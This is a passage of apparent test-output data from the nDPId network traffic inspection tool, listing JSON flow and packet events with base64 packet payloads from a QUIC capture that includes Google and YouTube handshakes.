+1vXZRZzJ1+rqmPJtznpSW1g7BCg2rfC01sXLNMkHQEAAABGSVhEAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00562{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":414,"source":"quic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1461850699450,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.4","dst_ip":"10.0.0.3","src_port":40134,"dst_port":6121,"l4_proto":"udp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {}} +02197{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850699,"pkt_ts_usec":600955,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"OGO7P47K7LHXhMJyCABFAAViIotAAEAR\/vkKAAAECgAAA5zGF+kFThlmCfresOVX5pKgUTAzMwKbXvfkbQpZgkUtS3wAoAEUBUNITE8NAAAAUEFEAEwEAABWRVIAUAQAAENDUwBgBAAATVNQQ2QEAABQRE1EaAQAAElDU0xsBAAAQ1RJTXQEAABOT05QlAQAAFNDTFOYBAAAQ1NDVJgEAABDT1BUnAQAAENGQ1egBAAAU0ZDV6QEAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVEwMzN7Junn5Fxx\/wHogWCSkhroZAAAAFg1MDlYAgAASxIiVwAAAADS+1vXZRZzJ1+rqmPJtznpSW1g7BCg2rfC01sXLNMkHQEAAABGSVhEAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02197{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850699,"pkt_ts_usec":901030,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"OGO7P47K7LHXhMJyCABFAAViIsFAAEAR\/sMKAAAECgAAA5zGF+kFThlmCfresOVX5pKgUTAzMwNQcq6EZWnphcq9nqEAoAEUBUNITE8NAAAAUEFEAEwEAABWRVIAUAQAAENDUwBgBAAATVNQQ2QEAABQRE1EaAQAAElDU0xsBAAAQ1RJTXQEAABOT05QlAQAAFNDTFOYBAAAQ1NDVJgEAABDT1BUnAQAAENGQ1egBAAAU0ZDV6QEAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVEwMzN7Junn5Fxx\/wHogWCSkhroZAAAAFg1MDlYAgAASxIiVwAAAADS+1vXZRZzJ1+rqmPJtznpSW1g7BCg2rfC01sXLNMkHQEAAABGSVhEAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02197{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850700,"pkt_ts_usec":501096,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"OGO7P47K7LHXhMJyCABFAAViI1JAAEAR\/jIKAAAECgAAA5zGF+kFThlmCfresOVX5pKgUTAzMwSJFGwp3LQh28QKtVwAoAEUBUNITE8NAAAAUEFEAEwEAABWRVIAUAQAAENDUwBgBAAATVNQQ2QEAABQRE1EaAQAAElDU0xsBAAAQ1RJTXQEAABOT05QlAQAAFNDTFOYBAAAQ1NDVJgEAABDT1BUnAQAAENGQ1egBAAAU0ZDV6QEAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVEwMzN7Junn5Fxx\/wHogWCSkhroZAAAAFg1MDlYAgAASxIiVwAAAADS+1vXZRZzJ1+rqmPJtznpSW1g7BCg2rfC01sXLNMkHQEAAABGSVhEAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02197{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850701,"pkt_ts_usec":701181,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"OGO7P47K7LHXhMJyCABFAAViI7NAAEAR\/dEKAAAECgAAA5zGF+kFThlmCfresOVX5pKgUTAzMwVe6cdVWYyeyFNdPaUAoAEUBUNITE8NAAAAUEFEAEwEAABWRVIAUAQAAENDUwBgBAAATVNQQ2QEAABQRE1EaAQAAElDU0xsBAAAQ1RJTXQEAABOT05QlAQAAFNDTFOYBAAAQ1NDVJgEAABDT1BUnAQAAENGQ1egBAAAU0ZDV6QEAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVEwMzN7Junn5Fxx\/wHogWCSkhroZAAAAFg1MDlYAgAASxIiVwAAAADS+1vXZRZzJ1+rqmPJtznpSW1g7BCg2rfC01sXLNMkHQEAAABGSVhEAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00490{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1461850703,"pkt_ts_usec":450276,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"OGO7P47K7LHXhMJyCABFAABiJGxAAEARAhkKAAAECgAAA5zGF+kAThRmCfresOVX5pKgUTAzMwaAhw\/mLm+8ph8qV+4BQAAA\/\/8ABgAFAhkAAAAbAE5vIHJlY2VudCBuZXR3b3JrIGFjdGl2aXR5Lg=="} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":420,"source":"quic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1461850699450,"flow_last_seen":1461850703450,"flow_tot_l4_data_len":6868,"flow_min_l4_data_len":78,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1144,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.4","dst_ip":"10.0.0.3","src_port":40134,"dst_port":6121,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":420,"source":"quic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1463060980301,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.4","src_port":45669,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02206{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":301154,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAViG\/5AAEARmp7AqAFprNkQBLJlAbsFTr+DDUPl1BjSnP0KUTAyNQFyZIfG66V5bj99kfIBoAEABENITE8XAAAAUEFEAIgBAABTTkkAlgEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQsAgAAU0NJRDwCAABUQ0lEQAIAAFBETUREAgAAU1JCRkgCAABJQ1NMTAIAAFBVQlNsAgAAU0NMU3ACAABLRVhTdAIAAENPUFR4AgAAQ0NSVJACAABJUlRUlAIAAENFVFY4AwAAQ0ZDVzwDAABTRkNXQAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0td3d3Lmdvb2dsZS5jb21PyGNIiSYlWYMNKJNAlwv39ix54lRFVA6paRsUl4FQy0hWHom6FQQ9JcZPH9joUxX+SDLF1j\/DSdX0UTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn06ylDo5Ug9+nOea5qJJts1jMXRdJCxw2QvK85nmQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjQarjm3cTKFpJVCrT7eADgKAAAAAFg1MDkAABAAHgAAAMpYWB84oseWX+q27ipmj\/RQLfsZQqQtGKexDF79uuJfAQAAAEMyNTVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5Cprnnr7MUAAJJnZtEbkxP245vVr56GfjMCMAwif3n\/lWOThmdSnoedzP2jx+7ZPMWRBUv\/hZavd3FPUhQwHHwpvJJDzRcoSGYXtOQyhcYCVpGlxHD65Db8HFfgEKEx\/YlE\/aFaPqB1XqWWzf4zDCgIc\/Djzy4R\/py4JVjfq9V0ooIkHbH+8mAcpgdNt3gj0SeICAOM6wnOXFVXQaU2KKd\/llBTkdtTIS8p4UckAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00618{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":420,"source":"quic.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1463060980301,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.4","src_port":45669,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.google.com","user_agent":"Chrome\/49.0.2623.87 Linux x86_64"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":421,"source":"quic.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1463060980313,"flow_last_seen":0,"flow_tot_l4_data_len":128,"flow_min_l4_data_len":128,"flow_max_l4_data_len":128,"flow_avg_l4_data_len":128,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"172.217.16.3","src_port":40461,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00555{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":313862,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"8IQvSpdgeJKcD6iOCABFAACUtgVAAEARBWbAqAFprNkQA54NAbsAgHEsDKM2rKXAEd7wIt3qCq5m3TavpAsTDbAsFGxmQjrMNGgPLp5\/67eBvHP3BJ3FiMAS4anKHt6qD2LZa9lkPD+xi9VHkCY0QuwL2qSbKNzU+YmHNEsRyVDptUSV5HeCE\/peVLnXWfr\/zBYlTVvhdUjE1rsevsCPj6RN"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"quic.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1463060980336,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.105","dst_ip":"216.58.210.238","src_port":34438,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02202{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1463060980,"pkt_ts_usec":336240,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"8IQvSpdgeJKcD6iOCABFAAVieqhAAEARTajAqAFp2DrS7oaGAbsFThSMDaSWOQdzcSypUTAyNQHV5wqJLuvacsEa2ggBoAEABENITE8XAAAAUEFEAFEBAABTTkkAYAEAAFNUSwDQAQAAVkVSANQBAABDQ1MA5AEAAE5PTkMEAgAATVNQQwgCAABBRUFEDAIAAFVBSUQsAgAAU0NJRDwCAABUQ0lEQAIAAFBETUREAgAAU1JCRkgCAABJQ1NMTAIAAFBVQlNsAgAAU0NMU3ACAABLRVhTdAIAAENPUFR4AgAAQ0NSVJACAABJUlRUlAIAAENFVFY4AwAAQ0ZDVzwDAABTRkNXQAMAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS13d3cueW91dHViZS5jb205fPBATCqFxnBl7Xv68Z9fD9Nmah0fi4FMd4fkZ11E\/CzEloDogZdL\/nncpFiRZ2yDvER3hyJLRuKPu2yNKulWJLAj1kd1TL1O1ht+4DYSFzHaxW1I0SXh61LEyPn0ZJNHzIO4+v+uSwxJi411oZGLUTAyNXsm6efkXHH\/AeiBYJKSGuhXNIn0IqnIQgaTDzQq3tVtNNLVAtwTevP964BOlEvwfGQAAABDQzIwQ2hyb21lLzQ5LjAuMjYyMy44NyBMaW51eCB4ODZfNjSzHyexPo2T9WCZD4U6m8alAAAAAFg1MDkAABAAHgAAAGluEpDbken\/KU7Y\/ELsDAQ\/jJay9FDlf0UZ5YuPrPZyAQAAAEMyNTVGSVhEVe9eTSHF9WXiYxqCfXGFX0ALe5CprnnrcNABADyUl7\/h6mDtG4NsOVvVuJ1PZcqwDa87DQJ80CEFy8NfQNViwNoS56F6e843IHdgyXgGBymFoVuWTPeBJJ3oxBn7RKC7ZZ3lBjoLLbk9XTVRW+SbaYvzMJPMbCMtrqm0FX1EDkyftTNYRo2oN8jHq308RLDWGOdHHpxuN7oxivKsZVduus4FvpUAikTROVWqLCaDklpl4qgg4HMAiksVv2oDrqCwAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} 